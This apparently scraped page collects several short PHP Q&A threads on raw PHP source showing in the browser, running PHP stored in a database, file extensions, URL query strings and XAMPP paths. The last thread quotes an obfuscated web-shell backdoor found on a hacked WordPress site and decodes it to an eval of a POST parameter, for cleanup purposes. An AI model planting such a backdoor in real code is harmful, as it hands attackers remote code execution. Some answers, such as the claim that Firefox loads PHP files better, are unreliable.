This question already has answers here:
PHP code is not being executed, but the code shows in the browser source code
(35 answers)
Closed 6 years ago.
Is there any way to prevent jQuery AJAX retreiving a complete PHP file instead of its server output ?
I just tried to obtain text only output, expecting what ever php decides to return, but got the whole file.
Not ideal if as on some files it would reveal potential hacking targets such as database tables etc
The host was not allowing config of private files, the solution was to move provider and place php above the root directory.
Related
This question already has answers here:
How do I execute PHP that is stored in a MySQL database?
(7 answers)
Closed 28 days ago.
I have written a text through the editor and put a php code in the editor to be displayed in the post.
But the php code does not run on the site! And I get this message:
What should be done to solve the problem and how should the code be executed?
This system is not WordPress and is a proprietary CMS
I published the code through the database, but it still shows inside <!——>
what you are trying to do is illegal, PHP code cannot be inserted through the browser editor, PHP code is usually code hidden from the eyes of the surfers, whether it is a function or not.
The only way to insert PHP code is to go into the site's files in the area you want to insert and simply edit it from the file, usually its ending will be .php if it is a CRM system then its code is built in the form of JS or Python and if it is built on PHP then just go into the system and insert the code
<?php echo 'Hello world'; ?>
This question already has answers here:
Reference - What does this error mean in PHP?
(38 answers)
Closed 2 years ago.
connection using php is possible but when I give an example ... databaza.php so the page does not go at all and when I give databaza.html (I mean it as a subpage)
so the page goes but in the part where the connection table should be errory
I would like the page to work but with the .php extension. because when I give the .html extension, the page goes but the connection to the database does not and vice versa
where can be the mistake?enter image description here
Check naming of files, also mozilla firefox loads better for php files if making just php files to load. hope this helps.
This question already has answers here:
What is the "?" symbol in URL used for in php?
(7 answers)
What the meaning of "?" in the PHP URL [duplicate]
(7 answers)
Closed 4 years ago.
I have the following problem:
I use a template page for a specific application, and for the login through "steam" there is a button. The button refers to a php file, and in the php file you can find the following line of code:
<a href="?login"><div id="sign-in-steam" style="margin-left: 74px;color: black;">
What does the "?login" exactly mean, I know it stands for a file but I cant find a file named like that, can anyone help me out?
The part behind the question mark in any URL is the Query String as per RFC 3986 section 3.4 and hence is not a PHP functionality (even though PHP can read it, see PHP $_SERVER superglobal docs, especially $_SERVER['QUERY_STRING']).
The hyper reference
?login
refers to the web-apps main page, which gets called using the parameter login a a GET parameter.
Quite likely, this would call the same script equivalently:
index.php?login
This question already has answers here:
PHP code is not being executed, but the code shows in the browser source code
(35 answers)
Closed 4 years ago.
How to input data using php?
I already created code to input data from <form></form> html to mysql using external php, but when I try to run it, it looks like this:
The first thing to understand, php codes do not execute by your browser, it is executed on your server, so the first thing you need is a server.
By looking at your URL, I can see you are using XAMPP.
Replacing everything before Resolusi2018 by just localhost would do the job.
Put your files into the root directory then access your page by entering
localhost/Resolusi2018/root/php/ngetes.php in your browser.
Ok, so I think your URL is just wrong.
You are opening the file directly, and not from the localhost.
Try something like this:
localhost/Resolusi2018/root/php/mgetes.php
If this is also not working, check if your XAMPP is actually running.
This question already has an answer here:
What Does This PHP Code Do? [closed]
(1 answer)
Closed 7 years ago.
I have a wordpress site and it was infected with malware I think. I have found this bit of php code in my files
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q140b2c'])){eval(${$s20}['q140b2c']);}
What does it do?
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);
$s20 evaluates to _POST
if(isset(${$s20}['q140b2c'])){
eval(${$s20}['q140b2c']);
}
becomes
isset($_POST['q140b2c'])
eval then evaluates whatever is in that post
eval($_POST['q140b2c']);
I face same issue with one of my previous website hack. Same code as above. They are going to put code this code in .php file before start of PHP tag.
So it will hold the execution of PHP site.
To solve download all code & search in file & remove. Then your site works ok.